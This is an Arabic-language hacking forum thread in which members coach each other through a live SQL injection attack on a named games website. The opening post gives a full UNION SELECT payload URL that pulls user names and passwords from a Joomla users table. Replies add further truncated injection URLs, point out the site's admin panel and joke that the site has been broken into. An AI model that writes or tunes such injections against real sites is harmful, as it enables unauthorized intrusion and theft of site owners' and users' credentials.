مشكله ماني عارف ايش الحل

[فتى المدينه]

كود PHP:

http://www.schutzegames.com/games.php?id=-1 union select 1,2,concat(NAME,0x3a,PASSWORD),4,5,6,7,8,9+from+JOS_USERS-- 


شووف الاستغلال حقي

كان ماشي مافيه ايت مشكله لما وصلت عند استخراج اليوزر والباس

يطلع لي خطا sql

وما يطلع الباس ولا اليوزر والخطا يطلع بخط صغير فووق اعلى الصفحة

مدري ايش المشكله ياليت احد يشوووفلي الحل

[KaLa$nikoV]

هلا بفتى المدينه كيفك يا مبدع

خيو المره الجاي بتضع الثلاث خطوات الرئيسيات بالحقن
وهي خطوه استخراج عمود الباسورد
خطوه استخراج عمود اليوزر
خطوه الحقنه النهائيه

وهاي خطوات موقعك على الترتيب

استخراج الباس

اقتباس http://www.schutzegames.com/games.ph...97, 115, 37)--

استخراج العمود

اقتباس http://www.schutzegames.com/games.ph...0x41444d494e--

الحقنه كامله

اقتباس http://www.schutzegames.com/games.ph...++from+admin--

بدي اتركلك اختبار
الحقنه الاخيره شغاله كويس بس انت اعرف وين راح الناتج


انا ما شرحته بالدوره
بدي تشغل عقلك شويه

[الشبح المرح]

هدي هي اللوحة http://www.schutzegames.com/admin
و هدا هو الاستغلال : http://www.schutzegames.com/games.ph...++from+admin--

ارجو ان تاخد بنصيحة بركان

[KaLa$nikoV]

اوك رح انزل الاختبار للجميع

[فتى المدينه]

ياخوووان والله اني سوويت الخطوات كلها استخراج عاموود الباسورد واستخراج عموود اليووزر

وجيت عند الحقنه النهائيه وسوويتها وطلع الناتج مثل اللي فووق

انا بعرف الشبح المرح كيف طلعة اليوزر والباس ياليت تعلمني وياليت تعلمني كيف جبت لوحة التحكم اذا برنامج عندك ياليت تعطيني هوو وربي دورة في النت ما حصلته

واكوون شاكر لكم

[الشبح المرح]

بالنسة للوحة مجرد تخمين و هناك موضوع حول هدا الامر

http://www.vbspiders.com/vb/t22982.html

[فتى المدينه]

ربي يوفقك يارب

مشكوووور على الباك للموضوع خيووو والله يووفقك يارب

وقريت كلامك اللي في الموقع ههههه الاختراق لفتى المدينه هع هع هع مشكووووور مره ثانيه

[Stone Love]

ما لحقت ساعد هههه

[الشبح المرح]

حتاتي فرصة ثانية ياستووووون